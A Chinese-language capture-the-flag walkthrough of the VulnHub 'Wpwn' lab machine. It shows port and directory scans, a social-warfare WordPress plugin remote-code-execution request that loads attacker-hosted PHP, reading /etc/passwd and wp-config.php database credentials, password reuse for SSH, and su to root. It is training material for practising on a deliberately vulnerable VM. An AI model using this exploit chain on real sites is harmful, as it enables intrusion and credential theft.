# Wpwn

> <https://download.vulnhub.com/wpwn/wpwnvm.zip>

靶场IP：`192.168.32.135`

扫描对外端口服务

```
┌──(root💀kali)-[/tmp]
└─# nmap -p1-65535 -sV 192.168.2.135
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-06 09:35 EDT
Nmap scan report for 192.168.2.135
Host is up (0.00071s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
MAC Address: 00:0C:29:DB:E7:B5 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds

```

浏览器访问80端口

![image-20220906213634428](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-ab1ded7fafbec88b2d626237f7516b7d9aa412d8%2Fimage-20220906213634428.png?alt=media)

爆破目录

```
┌──(root💀kali)-[/tmp]
└─# gobuster dir -u http://192.168.2.135/ -w /usr/share/wordlists/dirb/common.txt -t 30                                                                                                                                                  1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.135/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/06 09:37:19 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 134]
/robots.txt           (Status: 200) [Size: 57] 
/server-status        (Status: 403) [Size: 278]
/wordpress            (Status: 301) [Size: 318] [--> http://192.168.2.135/wordpress/]
                                                                                     
===============================================================
2022/09/06 09:37:24 Finished
===============================================================

```

访问：`/wordpress/`

![image-20220906214449737](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-07ba7214b81826822d091d03f0e26b8db01efb75%2Fimage-20220906214449737.png?alt=media)

枚举wordpress，发现`social-warfare`插件有漏洞

```
┌──(root💀kali)-[/tmp]
└─# wpscan --url http://192.168.2.135/wordpress/
```

![image-20220906214414210](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-255f905802fbe949907ef735a894a1ee5ec6ca56%2Fimage-20220906214414210.png?alt=media)

```
┌──(root💀kali)-[/tmp]
└─# echo "<pre>system('cat /etc/passwd')</pre>" >  cmd.txt
```

直接执行命令

```
http://192.168.2.135/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.2.129/cmd.txt
```

![image-20220906214704204](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-412822f53bd600eb745055d596e3522dc401c86a%2Fimage-20220906214704204.png?alt=media)

```
echo "<pre>system('cat /var/www/html/wordpress/wp-config.php')</pre>
```

```
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'wp_user' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
```

![image-20220906214831159](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-19972128df3d2d86cdb3586ca19bd89b0a137d91%2Fimage-20220906214831159.png?alt=media)

查看用户密码文件

![image-20220906214949758](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-e3dc53f88e23c0e15f479b63e1bddf78e089d75a%2Fimage-20220906214949758.png?alt=media)

使用`takis/R3&]vzhHmMn9,:-5`进行ssh登录。

![image-20220906215128857](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-2d9cc906b3e495184e8e36950105fdec61c830e6%2Fimage-20220906215128857.png?alt=media)

直接su提权

![image-20220906215234299](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-fef90d5db3fa6dfbdf529f6ce0efc5406f395c49%2Fimage-20220906215234299.png?alt=media)

![image-20230208161537677](https://3435151113-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7n39F0laH6bbmYKdILcq%2Fuploads%2Fgit-blob-21b6c8184d9a42755b97376ed8c1833e37627e10%2Fimage-20230208161537677.png?alt=media)
